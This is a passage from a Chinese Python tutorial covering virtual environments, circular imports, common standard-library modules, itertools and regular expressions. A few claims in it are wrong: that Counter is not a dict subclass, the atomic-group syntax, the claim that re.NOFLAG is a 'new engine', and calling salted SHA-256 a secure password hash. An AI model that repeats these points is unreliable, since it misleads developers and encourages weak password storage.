# 查看已安装的包
pip list
pip show requests

# 导出/导入依赖
pip freeze > requirements.txt

# 创建虚拟环境(推荐每个项目一个)
python -m venv myenv

# 激活虚拟环境
# Windows: myenv\Scripts\activate
# macOS/Linux: source myenv/bin/activate

# 退出虚拟环境
deactivate
为什么要用虚拟环境?

不同项目可能需要同一个库的不同版本。虚拟环境让每个项目有独立的依赖环境,互不干扰。这是 Python 开发的最佳实践。

模块搜索路径——"Python 去哪里找模块?"

生活类比

你去图书馆借书,图书馆会按顺序搜索:先查本楼层的书架(当前目录),再查其他楼层(PYTHONPATH),最后查总馆(标准库目录)。Python 搜索模块也是按顺序的:sys.path 中的路径依次查找。

import sys

# 查看模块搜索路径
for path in sys.path:
    print(path)

# 搜索顺序:
# 1. 当前目录(运行脚本所在的目录)
# 2. PYTHONPATH 环境变量指定的目录
# 3. 标准库目录(如 Python312/Lib/)
# 4. 第三方包目录(如 Python312/Lib/site-packages/)

# 临时添加搜索路径(不推荐,只用于调试)
sys.path.append("/my/custom/modules")

# 正确做法:用虚拟环境 + pip 安装

循环导入的陷阱——"A 导入 B,B 又导入 A"

# ===== ❌ 循环导入导致 ImportError =====
# module_a.py
from module_b import func_b  # 导入 module_b
def func_a():
    return "A"

# module_b.py
from module_a import func_a  # 导入 module_a → 💥 ImportError!
def func_b():
    return "B"

# 运行 module_a.py 时,Python 执行流程:
# 1. 开始导入 module_b
# 2. module_b 尝试导入 module_a
# 3. module_a 还没加载完(正在第 1 步),部分初始化
# 4. module_b 找不到 func_a → ImportError

# ===== ✅ 解决方案 1:把共享代码提取到第三个模块 =====
# shared.py
def func_a(): return "A"
def func_b(): return "B"

# module_a.py
from shared import func_b  # 不再循环

# module_b.py
from shared import func_a  # 不再循环

# ===== ✅ 解决方案 2:延迟导入(在函数内部导入)=====
# module_a.py
def func_a():
    from module_b import func_b  # 调用时才导入,避免循环
    return f"A + {func_b()}"
常见错误总结
  • 循环导入:模块 A 导入 B,B 又导入 A,会导致 ImportError。解决:提取共享代码到第三个模块,或延迟导入
  • 忘记 __init__.py:没有这个文件,Python 不认为目录是包(Python 3.3+ 有隐式命名空间包,但不推荐依赖它)
  • 用 from xxx import *:容易命名冲突,而且你不知道导入了什么,调试困难
  • 不使用虚拟环境:全局安装包会导致不同项目的依赖版本冲突,每个项目都应该有自己的虚拟环境
  • 模块名和标准库同名:不要把自己的文件命名为 random.py、email.py 等,会覆盖标准库

第二十章:常用标准库

本章导览

Python 的标准库就像一个"工具箱",里面装满了各种实用工具。本章介绍最常用的几个:datetime(日期时间)、random(随机数)、logging(日志)和 argparse(命令行参数)。掌握这些工具,你的代码会更专业、更实用。

20.1 datetime 日期时间——"处理时间的瑞士军刀"

from datetime import datetime, date, time, timedelta

# 当前时间
now = datetime.now()
print(now)  # 2024-01-15 14:30:25.123456

# 创建指定时间
dt = datetime(2024, 1, 15, 14, 30, 0)
print(dt)

# 时间差
delta = timedelta(days=7, hours=3)
future = now + delta      # 7天3小时后
past = now - delta        # 7天3小时前

# 格式化输出
print(now.strftime("%Y年%m月%d日 %H:%M:%S"))  # 2024年01月15日 14:30:25
print(now.strftime("%Y-%m-%d"))                # 2024-01-15

# 解析字符串为时间
dt = datetime.strptime("2024-01-15 14:30", "%Y-%m-%d %H:%M")

# 常用格式符
# %Y=年(4位) %m=月(01-12) %d=日(01-31)
# %H=时(24h) %M=分 %S=秒 %A=星期名 %B=月份名

20.2 random 随机数——"模拟随机事件"

import random

# 随机整数
print(random.randint(1, 100))     # 1-100 之间的随机整数

# 随机浮点数
print(random.random())            # 0-1 之间
print(random.uniform(1.0, 10.0))  # 1.0-10.0 之间

# 随机选择
fruits = ["苹果", "香蕉", "橘子"]
print(random.choice(fruits))      # 随机选一个
print(random.sample(fruits, 2))   # 随机选 2 个(不重复)

# 打乱顺序
cards = list(range(1, 11))
random.shuffle(cards)  # 原地打乱
print(cards)

# 设置种子(可复现的随机)
random.seed(42)
print(random.randint(1, 100))  # 每次运行都一样

20.3 logging 日志——"比 print 更专业的调试方式"

import logging

# 基本配置
logging.basicConfig(
    level=logging.DEBUG,
    format="%(asctime)s [%(levelname)s] %(message)s",
    datefmt="%Y-%m-%d %H:%M:%S"
)

# 五个日志级别(从低到高)
logging.debug("调试信息")       # 开发时用
logging.info("一般信息")        # 正常运行信息
logging.warning("警告")         # 需要注意
logging.error("错误")           # 出了问题
logging.critical("严重错误")    # 程序可能无法继续

# 输出到文件
logging.basicConfig(filename="app.log", level=logging.INFO)

# 推荐用法:在模块中获取 logger
logger = logging.getLogger(__name__)
logger.info("模块加载完成")
print vs logging

开发调试用 print 没问题,但正式项目一定要用 logging。logging 可以控制级别、输出到文件、带时间戳,而且上线时可以轻松关掉 debug 日志。

20.4 argparse 命令行参数——"让程序接受命令行输入"

import argparse

parser = argparse.ArgumentParser(description="一个示例程序")

# 添加参数
parser.add_argument("name", help="你的名字")
parser.add_argument("-a", "--age", type=int, default=18, help="年龄")
parser.add_argument("-v", "--verbose", action="store_true", help="详细模式")

args = parser.parse_args()

print(f"你好,{args.name}!")
if args.verbose:
    print(f"年龄:{args.age}")

# 运行:python script.py 张三 -a 25 -v
# 输出:你好,张三!
#       年龄:25

20.5 os 模块——操作系统交互

import os

# ===== 获取系统信息 =====
print(os.name)                  # 操作系统类型:posix(nt/windows)
print(os.getcwd())              # 当前工作目录
print(os.environ.get("PATH"))   # 环境变量

# ===== 文件和目录操作 =====
os.makedirs("dir1/dir2", exist_ok=True)  # 创建目录(递归)
os.removedirs("dir1/dir2")               # 删除目录(递归)
os.listdir(".")                          # 列出目录内容
os.rename("old.txt", "new.txt")          # 重命名
os.remove("file.txt")                    # 删除文件

# ===== 路径操作 =====
os.path.exists("file.txt")      # 文件是否存在
os.path.isfile("file.txt")      # 是否是文件
os.path.isdir("dir")            # 是否是目录
os.path.getsize("file.txt")     # 文件大小(字节)
os.path.join("dir", "file.txt") # 拼接路径
os.path.dirname("/a/b/c.txt")   # 目录部分:/a/b
os.path.basename("/a/b/c.txt")  # 文件名部分:c.txt
os.path.splitext("file.txt")    # 分离扩展名:('file', '.txt')

# ===== 环境变量 =====
os.environ["MY_VAR"] = "hello"  # 设置环境变量
value = os.getenv("MY_VAR", "default")  # 获取环境变量(带默认值)

# ===== 执行系统命令 =====
os.system("ls -la")             # 执行命令(不推荐)
# 推荐用 subprocess 模块

20.6 sys 模块——系统相关

import sys

# ===== 命令行参数 =====
print(sys.argv)        # 命令行参数列表:['script.py', 'arg1', 'arg2']
print(sys.argv[0])     # 脚本名称
if len(sys.argv) > 1:
    print(sys.argv[1]) # 第一个参数

# ===== Python 信息 =====
print(sys.version)         # Python 版本
print(sys.platform)        # 平台:win32/linux/darwin
print(sys.executable)      # Python 解释器路径
print(sys.path)            # 模块搜索路径

# ===== 标准输入输出 =====
sys.stdout.write("hello\n")  # 标准输出
sys.stderr.write("error\n")  # 标准错误

# ===== 退出程序 =====
sys.exit(0)              # 正常退出
sys.exit("出错了")        # 异常退出(显示错误信息)

# ===== 内存和递归 =====
print(sys.getsizeof([1,2,3]))  # 对象占用内存
sys.setrecursionlimit(2000)    # 设置递归深度限制

# ===== 实用场景:动态添加模块路径 =====
sys.path.append("/my/custom/modules")

20.7 pathlib 模块——现代路径操作(推荐)

from pathlib import Path

# ===== 创建路径对象 =====
p = Path(".")                    # 当前目录
p = Path("/home/user/file.txt")  # 绝对路径
p = Path("dir") / "sub" / "file.txt"  # 用 / 拼接路径(推荐)

# ===== 路径信息 =====
p = Path("/home/user/document.txt")
print(p.name)        # 文件名:document.txt
print(p.stem)        # 不含扩展名:document
print(p.suffix)      # 扩展名:.txt
print(p.parent)      # 父目录:/home/user
print(p.parts)       # 路径各部分:('/', 'home', 'user', 'document.txt')
print(p.exists())    # 是否存在
print(p.is_file())   # 是否是文件
print(p.is_dir())    # 是否是目录

# ===== 文件操作 =====
p = Path("test.txt")
p.write_text("Hello, World!", encoding="utf-8")  # 写入文本
content = p.read_text(encoding="utf-8")           # 读取文本
print(content)

# 写入/读取字节
p.write_bytes(b"binary data")
data = p.read_bytes()

# ===== 目录操作 =====
p = Path("new_dir")
p.mkdir(exist_ok=True)           # 创建目录
p.mkdir(parents=True, exist_ok=True)  # 递归创建

# 遍历目录
for f in Path(".").iterdir():
    print(f.name)

# glob 匹配
for f in Path(".").glob("*.py"):
    print(f.name)

# 递归匹配
for f in Path(".").rglob("*.py"):
    print(f)

# ===== 实用场景 =====
# 获取当前脚本所在目录
script_dir = Path(__file__).parent

# 获取用户主目录
home = Path.home()

# 创建临时文件路径
temp_file = Path("temp") / "data.json"

20.8 hashlib 模块——加密哈希

import hashlib

# ===== 计算字符串的哈希 =====
text = "Hello, World!"

# MD5(不推荐用于安全场景)
md5 = hashlib.md5(text.encode()).hexdigest()
print(f"MD5: {md5}")

# SHA-1
sha1 = hashlib.sha1(text.encode()).hexdigest()
print(f"SHA-1: {sha1}")

# SHA-256(推荐)
sha256 = hashlib.sha256(text.encode()).hexdigest()
print(f"SHA-256: {sha256}")

# ===== 计算文件的哈希 =====
def file_hash(filepath, algorithm="sha256"):
    """计算文件哈希"""
    h = hashlib.new(algorithm)
    with open(filepath, "rb") as f:
        while chunk := f.read(8192):
            h.update(chunk)
    return h.hexdigest()

# print(file_hash("myfile.txt"))

# ===== 密码哈希(加盐)=====
import secrets

def hash_password(password):
    """安全的密码哈希"""
    salt = secrets.token_hex(16)  # 生成随机盐
    pwd_hash = hashlib.sha256((password + salt).encode()).hexdigest()
    return f"{salt}:{pwd_hash}"

def verify_password(stored_hash, password):
    """验证密码"""
    salt, pwd_hash = stored_hash.split(":")
    return hashlib.sha256((password + salt).encode()).hexdigest() == pwd_hash

# 使用
hashed = hash_password("my_secret_password")
print(f"哈希: {hashed}")
print(f"验证: {verify_password(hashed, 'my_secret_password')}")  # True
print(f"验证: {verify_password(hashed, 'wrong_password')}")      # False

20.9 subprocess 模块——执行外部命令

import subprocess

# ===== 简单执行 =====
result = subprocess.run(["ls", "-la"], capture_output=True, text=True)
print(result.stdout)       # 标准输出
print(result.returncode)   # 返回码(0=成功)

# ===== 执行 Python 脚本 =====
result = subprocess.run(
    ["python", "-c", "print('Hello from subprocess')"],
    capture_output=True,
    text=True
)
print(result.stdout)

# ===== 捕获错误 =====
result = subprocess.run(
    ["python", "-c", "import nonexistent_module"],
    capture_output=True,
    text=True
)
if result.returncode != 0:
    print(f"错误: {result.stderr}")

# ===== 管道操作 =====
# 等价于:ls -la | grep ".py"
p1 = subprocess.Popen(["ls", "-la"], stdout=subprocess.PIPE, text=True)
p2 = subprocess.Popen(["grep", ".py"], stdin=p1.stdout, stdout=subprocess.PIPE, text=True)
p1.stdout.close()
output = p2.communicate()[0]
print(output)

# ===== 超时控制 =====
try:
    result = subprocess.run(
        ["sleep", "10"],
        timeout=3  # 3秒超时
    )
except subprocess.TimeoutExpired:
    print("命令超时")

# ===== 推荐用法:安全执行命令 =====
def run_command(cmd, cwd=None):
    """安全执行命令"""
    try:
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,
            cwd=cwd,
            timeout=30
        )
        return {
            "success": result.returncode == 0,
            "stdout": result.stdout,
            "stderr": result.stderr,
            "returncode": result.returncode
        }
    except subprocess.TimeoutExpired:
        return {"success": False, "error": "命令超时"}

result = run_command(["git", "status"])
if result["success"]:
    print(result["stdout"])
常见错误总结
  • datetime 格式化符号错误:%Y 是4位年,%y 是2位年
  • random.seed 的作用:设置种子后,随机数序列是可复现的
  • logging 级别设错:DEBUG 会显示所有信息,WARNING 只显示警告及以上

第二十一章:collections 与 functools

本章导览

collections 和 functools 是 Python 标准库中的"瑞士军刀"。collections 提供了比内置类型更强大的数据结构(Counter、defaultdict、deque 等),functools 提供了函数式编程的工具(lru_cache、partial、reduce 等)。掌握它们,你的代码会更简洁、更高效。

21.1 collections 模块——"更强大的数据结构"

Counter——计数器

Counter 是一个专门用来计数的字典。统计元素出现次数?一行搞定。

from collections import Counter

# 统计元素出现次数
words = ["apple", "banana", "apple", "cherry", "banana", "apple"]
counter = Counter(words)
print(counter)                 # Counter({'apple': 3, 'banana': 2, 'cherry': 1})
print(counter.most_common(2))  # [('apple', 3), ('banana', 2)]

# 统计字符串
print(Counter("abracadabra"))  # Counter({'a': 5, 'b': 2, 'r': 2, 'c': 1, 'd': 1})

# 计数器运算
c1 = Counter(a=3, b=1)
c2 = Counter(a=1, b=2)
print(c1 + c2)  # Counter({'a': 4, 'b': 3})
print(c1 - c2)  # Counter({'a': 2})

defaultdict——带默认值的字典

普通字典访问不存在的键会报 KeyError,defaultdict 不会——它会自动创建默认值。

from collections import defaultdict

# 普通字典统计词频要这样写
word_count = {}
for word in ["apple", "banana", "apple"]:
    if word not in word_count:
        word_count[word] = 0
    word_count[word] += 1

# defaultdict 一行搞定
word_count = defaultdict(int)  # 默认值是 0
for word in ["apple", "banana", "apple"]:
    word_count[word] += 1
print(dict(word_count))  # {'apple': 2, 'banana': 1}

# 按属性分组
students = [
    ("男", "张三"), ("女", "李四"), ("男", "王五"), ("女", "赵六")
]
groups = defaultdict(list)
for gender, name in students:
    groups[gender].append(name)
print(dict(groups))  # {'男': ['张三', '王五'], '女': ['李四', '赵六']}

deque——双端队列

deque 是一个两端都可以快速添加和删除的列表。比普通列表的 insert(0, x) 快得多。

deque vs list 性能对比

list 在头部插入/删除是 O(n)(需要移动所有元素),deque 在两端操作都是 O(1)。处理 10 万个元素时,差距可达 1000 倍。

from collections import deque
import time

# ===== 性能对比:头部插入 =====
# list 头部插入:每次都要移动所有元素 → O(n)
lst = []
start = time.time()
for i in range(100000):
    lst.insert(0, i)  # 每次插入都要移动所有已有元素
print(f"list.insert(0, x) × 100000:{time.time() - start:.3f}秒")  # 约 0.5 秒

# deque 头部插入:直接操作 → O(1)
dq = deque()
start = time.time()
for i in range(100000):
    dq.appendleft(i)  # 不需要移动元素
print(f"deque.appendleft(x) × 100000:{time.time() - start:.3f}秒")  # 约 0.01 秒(快 50 倍)

# ===== 基本操作 =====
dq = deque([1, 2, 3])
dq.append(4)        # 右边加:[1, 2, 3, 4]
dq.appendleft(0)    # 左边加:[0, 1, 2, 3, 4]
dq.pop()            # 右边删:[0, 1, 2, 3]
dq.popleft()        # 左边删:[1, 2, 3]

# 固定长度的 deque(自动丢弃另一端)
dq = deque(maxlen=3)
dq.extend([1, 2, 3])  # [1, 2, 3]
dq.append(4)           # [2, 3, 4](1 被挤掉了)

# 旋转
dq = deque([1, 2, 3, 4, 5])
dq.rotate(2)     # [4, 5, 1, 2, 3]
dq.rotate(-2)    # [1, 2, 3, 4, 5]

21.2 functools 模块——"函数式编程工具"

lru_cache——缓存装饰器

LRU Cache 把函数的计算结果缓存起来,下次用相同参数调用时直接返回缓存结果,不用重新计算。

生活类比

你问小明"1+1等于几",他算了一下说"2"。下次你再问同样的问题,他直接说"2"——不需要重新算。lru_cache 就是这个"记忆"机制。LRU(最近最少使用)的意思是:记忆容量满了时,把最久没用过的答案忘掉,腾出空间记新答案。

from functools import lru_cache
import time

# ===== 不加缓存:指数级重复计算 =====
def fib_slow(n):
    if n <= 2:
        return 1
    return fib_slow(n - 1) + fib_slow(n - 2)

start = time.time()
fib_slow(35)
print(f"不加缓存:{time.time() - start:.3f}秒")  # 约 3 秒

# ===== 加缓存:每个值只计算一次 =====
@lru_cache(maxsize=128)
def fib_fast(n):
    if n <= 2:
        return 1
    return fib_fast(n - 1) + fib_fast(n - 2)

start = time.time()
fib_fast(35)
print(f"加缓存:{time.time() - start:.6f}秒")    # 约 0.00003 秒(快 10 万倍!)

# 查看缓存信息
print(fib_fast.cache_info())
# CacheInfo(hits=33, misses=36, maxsize=128, currsize=36)
# hits=33:33 次直接返回缓存结果(没重新计算)
# misses=36:36 次需要计算(首次遇到的参数)

partial——偏函数

固定函数的部分参数,生成一个简化版的新函数。

from functools import partial

def power(base, exponent):
    return base ** exponent

square = partial(power, exponent=2)
cube = partial(power, exponent=3)

print(square(5))  # 25
print(cube(3))    # 27

reduce——累积计算

对列表中的元素依次应用函数,把序列"归约"成一个值。

from functools import reduce

# 对列表中的元素依次应用函数
numbers = [1, 2, 3, 4, 5]
total = reduce(lambda a, b: a + b, numbers)
print(total)  # 15  (1+2+3+4+5)

product = reduce(lambda a, b: a * b, numbers)
print(product)  # 120  (1*2*3*4*5)

wraps——保留被装饰函数的信息

from functools import wraps

def my_decorator(func):
    @wraps(func)  # 保留原函数的 __name__, __doc__ 等
    def wrapper(*args, **kwargs):
        return func(*args, **kwargs)
    return wrapper

@my_decorator
def greet():
    """打招呼"""
    print("hello")

print(greet.__name__)  # greet(没有 @wraps 会是 wrapper)
print(greet.__doc__)   # 打招呼

21.3 itertools 模块——"迭代器工具箱"

import itertools

# ===== 无限迭代器 =====

# count:无限计数器
for i in itertools.count(10, 2):  # 从10开始,步长2
    if i > 20:
        break
    print(i)  # 10, 12, 14, 16, 18, 20

# cycle:无限循环
colors = itertools.cycle(["红", "绿", "蓝"])
for _, color in zip(range(6), colors):
    print(color)  # 红, 绿, 蓝, 红, 绿, 蓝

# repeat:重复
list(itertools.repeat("hello", 3))  # ['hello', 'hello', 'hello']

# ===== 组合迭代器 =====

# chain:连接多个可迭代对象
list1 = [1, 2, 3]
list2 = ['a', 'b', 'c']
list3 = [100, 200]
result = list(itertools.chain(list1, list2, list3))
print(result)  # [1, 2, 3, 'a', 'b', 'c', 100, 200]

# product:笛卡尔积
colors = ["红", "蓝"]
sizes = ["S", "M", "L"]
for item in itertools.product(colors, sizes):
    print(item)  # ('红', 'S'), ('红', 'M'), ('红', 'L'), ('蓝', 'S') ...

# permutations:排列(顺序有关)
for p in itertools.permutations([1, 2, 3], 2):
    print(p)  # (1,2), (1,3), (2,1), (2,3), (3,1), (3,2)

# combinations:组合(顺序无关)
for c in itertools.combinations([1, 2, 3, 4], 2):
    print(c)  # (1,2), (1,3), (1,4), (2,3), (2,4), (3,4)

# combinations_with_replacement:可重复组合
for c in itertools.combinations_with_replacement([1, 2, 3], 2):
    print(c)  # (1,1), (1,2), (1,3), (2,2), (2,3), (3,3)

# ===== 数据处理迭代器 =====

# groupby:分组
data = [
    {"name": "张三", "dept": "技术部"},
    {"name": "李四", "dept": "技术部"},
    {"name": "王五", "dept": "市场部"},
    {"name": "赵六", "dept": "市场部"},
]

# 必须先排序!
data.sort(key=lambda x: x["dept"])
for dept, group in itertools.groupby(data, key=lambda x: x["dept"]):
    members = [item["name"] for item in group]
    print(f"{dept}: {members}")
# 技术部: ['张三', '李四']
# 市场部: ['王五', '赵六']

# islice:切片迭代器
result = list(itertools.islice(itertools.count(), 5, 10))
print(result)  # [5, 6, 7, 8, 9]

# takewhile:满足条件时取元素
result = list(itertools.takewhile(lambda x: x < 5, [1, 3, 5, 2, 4]))
print(result)  # [1, 3]

# dropwhile:满足条件时跳过元素
result = list(itertools.dropwhile(lambda x: x < 5, [1, 3, 5, 2, 4]))
print(result)  # [5, 2, 4]

# filterfalse:过滤掉满足条件的
result = list(itertools.filterfalse(lambda x: x % 2 == 0, range(10)))
print(result)  # [1, 3, 5, 7, 9]

# accumulate:累积计算
result = list(itertools.accumulate([1, 2, 3, 4, 5]))
print(result)  # [1, 3, 6, 10, 15](累加)

result = list(itertools.accumulate([1, 2, 3, 4, 5], lambda a, b: a * b))
print(result)  # [1, 2, 6, 24, 120](累乘)

# zip_longest:最长的 zip
result = list(itertools.zip_longest([1, 2, 3], ['a', 'b'], fillvalue='-'))
print(result)  # [(1, 'a'), (2, 'b'), (3, '-')]

# ===== 实战场景 =====

# 场景1:生成所有可能的密码组合
import string
chars = string.ascii_lowercase + string.digits  # a-z + 0-9
for combo in itertools.product(chars, repeat=2):
    print(''.join(combo), end=' ')  # aa ab ac ... 99

# 场景2:扁平化嵌套列表
nested = [[1, 2], [3, 4], [5, 6]]
flat = list(itertools.chain.from_iterable(nested))
print(flat)  # [1, 2, 3, 4, 5, 6]

# 场景3:滑动窗口
def sliding_window(iterable, n):
    it = iter(iterable)
    window = list(itertools.islice(it, n))
    yield tuple(window)
    for item in it:
        window = window[1:] + [item]
        yield tuple(window)

for window in sliding_window([1, 2, 3, 4, 5], 3):
    print(window)
# (1, 2, 3)
# (2, 3, 4)
# (3, 4, 5)
常见错误总结
  • Counter 不是 dict 的子类:它有额外的方法如 most_common()
  • defaultdict 的默认值类型:int 默认 0,list 默认 [],str 默认 ""
  • lru_cache 只能用于可哈希的参数:列表、字典不能作为参数

第二十二章:正则表达式

本章导览

正则表达式(Regular Expression,简称 regex)是一种用来匹配文本模式的工具。就像一个"万能搜索器"——你告诉它"我要找什么样的文本",它就能帮你找到。正则表达式看起来像天书,但掌握基本语法后,它会成为你处理文本的最强大武器。

22.1 什么是正则表达式?

正则表达式(Regular Expression,简称 regex)是一种用来匹配文本模式的工具。比如"找出所有手机号""判断是否是邮箱地址"等。

生活类比

想象你在一堆快递包裹中找"北京市朝阳区"的包裹。你不会一个个拆开看,而是看外包装上的地址。正则表达式就是你告诉快递员的"筛选规则"——北京市.*朝阳区 意思是"以北京市开头,中间不管是什么,朝阳区结尾"的包裹都给我。它是一种描述文本模式的语言。

22.2 基础语法

模式含义示例
.任意一个字符(除换行)a.c 匹配 "abc", "a1c"
\d数字 [0-9]\d\d 匹配 "42"
\w字母、数字、下划线\w+ 匹配 "hello_123"
\s空白字符a\sb 匹配 "a b"
\D \W \S上面的反义\D 匹配非数字
*0 次或多次ab*c 匹配 "ac", "abc", "abbc"
+1 次或多次ab+c 匹配 "abc", "abbc"
?0 次或 1 次colou?r 匹配 "color", "colour"
{n}恰好 n 次\d{3} 匹配 "123"
{n,m}n 到 m 次\d{2,4} 匹配 "12", "1234"
^开头^Hello 匹配以 Hello 开头
$结尾world$ 匹配以 world 结尾
[abc]a 或 b 或 c[aeiou] 匹配元音
[^abc]不是 a/b/c[^0-9] 匹配非数字
(...)分组捕获(\d+)-(\d+) 捕获两组数字
a|ba 或 bcat|dog 匹配 "cat" 或 "dog"

22.3 re 模块使用

import re

text = "我的手机号是 13812345678,邮箱是 test@gmail.com"

# search:查找第一个匹配
result = re.search(r"1[3-9]\d{9}", text)
if result:
    print(f"找到手机号:{result.group()}")  # 13812345678

# findall:查找所有匹配
numbers = re.findall(r"\d+", "价格是 100 元,数量是 5 个")
print(numbers)  # ['100', '5']

# match:只匹配开头
print(re.match(r"\d+", "123abc"))  # 匹配成功
print(re.match(r"\d+", "abc123"))  # None(不在开头)

# sub:替换
text2 = re.sub(r"\d+", "***", "电话:13812345678")
print(text2)  # 电话:***

# split:按模式分割
parts = re.split(r"[,;\s]+", "apple, banana; cherry orange")
print(parts)  # ['apple', 'banana', 'cherry', 'orange']

# 编译(频繁使用时更快)
pattern = re.compile(r"1[3-9]\d{9}")
print(pattern.findall("手机 13812345678 和 15987654321"))

22.4 贪婪 vs 非贪婪——"匹配尽量多还是尽量少?"

生活类比

你去自助餐厅,贪婪模式就像"能拿多少拿多少"——盘子堆得满满的;非贪婪模式就像"够吃就行"——只拿一点点。正则中的 .* 是贪婪的(尽量多匹配),.*? 是非贪婪的(尽量少匹配)。

底层原理:正则引擎如何匹配?

Python 的正则引擎是NFA(非确定性有限自动机)。它的匹配过程可以理解为"试探-回溯":

1
从左到右逐字符匹配。遇到量词(*、+、?、{n,m})时,需要决定"匹配多少个"。
2
贪婪模式:先尽量多匹配,然后尝试匹配后面的部分。如果后面匹配失败,就吐出一个字符(回溯),再试。
3
非贪婪模式:先尽量少匹配,然后尝试匹配后面的部分。如果后面匹配失败,就多吃一个字符,再试。
import re

text = "<div>Hello</div><div>World</div>"

# ===== 贪婪匹配:.* 尽量多匹配 =====
result = re.findall(r"<div>.*</div>", text)
print(result)
# ['<div>Hello</div><div>World</div>']
# .* 从第一个 <div> 后一直匹配到最后一个 </div> 前
# "吞掉"了中间所有内容,包括第二个标签

# ===== 非贪婪匹配:.*? 尽量少匹配 =====
result = re.findall(r"<div>.*?</div>", text)
print(result)
# ['<div>Hello</div>', '<div>World</div>']
# .*? 匹配到第一个 </div> 就停了,然后继续找下一个

# ===== 量词对照表 =====
# 贪婪    非贪婪    含义
# *       *?       0 次或多次
# +       +?       1 次或多次
# ?       ??       0 次或 1 次
# {n,m}   {n,m}?   n 到 m 次
回溯陷阱:灾难性回溯(Catastrophic Backtracking)

当正则表达式嵌套量词时,回溯次数可能呈指数级增长,导致程序卡死:

import re
import time

# ❌ 危险!嵌套量词 + 贪婪匹配 = 灾难性回溯
# 这个正则看起来没问题,但遇到不匹配的长字符串会卡死
pattern = re.compile(r"(a+)+b")

# 正常情况:匹配成功,瞬间完成
start = time.time()
pattern.match("aaaaaaaaaaaaab")
print(f"匹配成功:{time.time() - start:.6f}秒")  # 0.000001 秒

# 灾难情况:匹配失败,回溯次数爆炸
# "a" * 25 没有结尾的 b,引擎会尝试所有可能的分组方式
# 比如 aaaaaaaaaaa 可以分成 (aaa)(aaaa)(aaaa) 或 (aa)(aaa)(aaaaaa) ...
# 分组方式有 2^n 种,每种都要试一遍
start = time.time()
try:
    pattern.match("a" * 25)
except:
    pass
print(f"匹配失败:{time.time() - start:.6f}秒")  # 可能需要几秒

# ✅ 修复方案 1:用原子组(Python 3.11+ 的 (?()...) 语法)
# ✅ 修复方案 2:避免嵌套量词
pattern_fixed = re.compile(r"a+b")  # 简化正则

# ✅ 修复方案 3:设置超时(Python 3.11+)
# import signal
# signal.alarm(5)  # 5 秒后强制终止

如何避免?① 避免嵌套量词如 (a+)+;② 用 re.compile() 预编译;③ 测试时用长字符串验证性能;④ Python 3.11+ 可用 re.NOFLAG 的新引擎。

贪婪 vs 非贪婪选择指南

场景推荐原因
提取 HTML 标签内容非贪婪 .*?需要精确匹配每个标签,不能"吞掉"后面的标签
匹配行尾内容贪婪 .*需要匹配到行尾的所有内容
提取引号内的字符串非贪婪 .*?引号内可能有嵌套引号,需要精确匹配到第一个闭合引号
删除整行贪婪 .*目标是整行,不需要精确分割

22.5 分组捕获

import re

# 基本分组
text = "2024-01-15"
m = re.match(r"(\d{4})-(\d{2})-(\d{2})", text)
if m:
    print(m.group(0))  # 2024-01-15(完整匹配)
    print(m.group(1))  # 2024
    print(m.group(2))  # 01
    print(m.group(3))  # 15

# 命名分组
m = re.match(r"(?P<year>\d{4})-(?P<month>\d{2})-(?P<day>\d{2})", text)
if m:
    print(m.group("year"))  # 2024
    print(m.group("month")) # 01

# 实用:解析 URL
url = "https://www.example.com:8080/path"
m = re.match(r"(?P<scheme>https?)://(?P<host>[^/:]+)(?::(?P<port>\d+))?(?P<path>/.*)?", url)
if m:
    print(m.group("host"))  # www.example.com
    print(m.group("port"))  # 8080
常用正则表达式模式
# 手机号:r"1[3-9]\d{9}"
# 邮箱:r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}"
# 身份证号:r"\d{17}[\dXx]"
# 日期:r"\d{4}-\d{2}-\d{2}"

22.6 正则性能优化——"让正则跑得更快"

生活类比

你每天去同一家咖啡店。第一天你问"菜单在哪?",第二天你又问"菜单在哪?"——这很蠢。正确的做法是:第一天记住了菜单的位置,以后直接看。re.compile() 就是"记住正则的解析结果",避免每次都重新解析。

import re
import time

text = "手机号:13812345678,备用:15987654321,办公:18611112222"

# ===== ❌ 不预编译:每次调用都重新解析正则 =====
start = time.time()
for _ in range(100000):
    re.findall(r"1[3-9]\d{9}", text)
print(f"不预编译:{time.time() - start:.3f}秒")  # 约 0.8 秒

# ===== ✅ 预编译:只解析一次,后续直接使用 =====
phone_pattern = re.compile(r"1[3-9]\d{9}")
start = time.time()
for _ in range(100000):
    phone_pattern.findall(text)
print(f"预编译:{time.time() - start:.3f}秒")  # 约 0.4 秒(快 2 倍!)
正则性能优化清单
  • 预编译:用 re.compile() 编译频繁使用的正则
  • 避免嵌套量词:(a+)+ 会导致灾难性回溯
  • 用非贪婪匹配:大多数场景下 .*? 比 .* 更高效(回溯次数更少)
  • 锚定开头:如果知道匹配位置在开头,用 ^ 或 re.match(),引擎可以提前终止
  • 字符类优于通配符:[a-zA-Z]+ 比 .+? 更精确,回溯更少
  • 避免不必要的分组:不需要捕获的分组用 (?:...) 非捕获组
import re

# ===== 非捕获组 (?:...) =====
# 普通分组会"捕获"匹配内容,消耗内存
text = "2024-01-15"

# 捕获组:group(1) 是年,group(2) 是月,group(3) 是日
m = re.match(r"(\d{4})-(\d{2})-(\d{2})", text)
print(m.groups())  # ('2024', '01', '15')  ← 3 个捕获组

# 非捕获组:(?:...) 只分组不捕获,节省内存
# 场景:用 | 时需要分组,但不需要捕获结果
m = re.match(r"(?:http|https)://(.+)", "https://example.com")
print(m.group(1))  # example.com  ← 只有 1 个捕获组
# print(m.group(2))  # ❌ IndexError((?:...) 不占编号)

# ===== 常用正则优化技巧 =====
# 1. 用 [^x] 代替 .*?(更精确)
# ❌ 慢:re.findall(r'"(.*?)"', text)   ← 非贪婪需要回溯
# ✅ 快:re.findall(r'"([^"]*)"', text)  ← 字符类不需要回溯

# 2. 用 \b 单词边界代替前后加空格
# ❌ 不精确:re.search(r" cat ", text)  ← 只匹配空格包围的 cat
# ✅ 精确:re.search(r"\bcat\b", text)   ← 匹配单词 cat(标点、开头、结尾都算)

22.7 正则实战:常见模式

import re

# ===== 验证类 =====
def is_valid_phone(phone: str) -> bool:
    """验证中国大陆手机号"""
    return bool(re.match(r"^1[3-9]\d{9}$", phone))

def is_valid_email(email: str) -> bool:
    """验证邮箱格式"""
    return bool(re.match(r"^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$", email))

def is_valid_id_card(id_card: str) -> bool:
    """验证身份证号(18位)"""
    return bool(re.match(r"^\d{17}[\dXx]$", id_card))

